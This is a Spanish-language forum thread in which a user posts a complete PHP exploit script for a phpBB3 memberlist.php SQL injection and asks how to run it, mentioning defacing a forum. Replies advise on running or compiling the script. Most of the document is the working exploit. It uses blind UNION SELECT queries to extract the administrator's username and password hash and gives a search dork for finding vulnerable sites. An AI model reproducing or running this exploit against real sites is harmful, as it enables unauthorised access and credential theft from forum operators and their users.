¿Cómo usar este exploit?

[Haroldaa]

Buenas a todos, hace poco me encontré este exploit para phpbb3


#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosure\n";
echo "by rgod [email protected]\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork, version specific: \"Powered by phpBB * 2002, 2006 phpBB Group\"\n\n";

/*
works regardless of php.ini settings
you need a global moderator account with "simple moderator" role
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to phpbb3\n";
echo "user/pass: u need a valid user account with global moderator rights\n";
echo "Options:\n";
echo " -T[prefix] specify a table prefix different from default (phpbb_)\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo " -u[number]: specify a user id other than 2 (admin)\n";
echo " -x: disclose table prefix through error messages\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="PHPBB_";
$user_id="2";//admin
$discl=0;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
$user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-x")
{
$discl=1;
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="username=".urlencode($user);
$data.="&password=".urlencode($pass);
$data.="&redirect=index.php";
$data.="&login=Login";
$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";
$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if (eregi("_u=1;",$cookie))
{
//echo $html."\n";//debug
//die("Unable to login...");
}
echo "cookie -> ".$cookie."\r\n";
if ($discl)
{
$sql="'suntzuuuuu";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax"))
{
$temp=explode("posts",$html);
$temp2=explode(" ",$temp[0]);
$prefix=strtoupper($temp2[count($temp2)-1]);
echo "prefix -> ".$prefix."\n";sleep(2);
}
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
$j++;
}
echo "--------------------------------------------------------------------\r\n";
echo "admin -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>

# milw0rm.com [2006-07-13]


He conseguido compilarlo y ejecutarlo, pero no entiendo bien la sintaxis de la ejecución, así como algunos términos (table? prefix?). Si alguien me pudiese explicarlo, así como ponerme un sencillo ejemplo se lo agradecería...
(Creé un foro gratuito de foroactivo para probarlo pero no consigo defacearme.)

[j8k6f4v9j]

Debería bastar con


sh nombredelscript argumentos

PD: No sé a qué te refieres con que has conseguido compilarlo

Salu2

[PHAMTOM]

Bajate el bamcompile que es el interprete de PHP , desde ahi ya puedes compilarlo desde la consola de MSDOS.

bamcompile exploit.php exploit.exe,creo que era así la linea de comando.

PHAMTOM

[chico1988]

es mai delicado comiplar un exploit en php pero se puede de todas maneras:

http://www.blogdelhacker.com/2009/01/02/explotando-exploit-php/

[j8k6f4v9j]

Pero vamos a ver, qué sentido tiene compilar cuando se puede interpretar. No veo el fin.

Salu2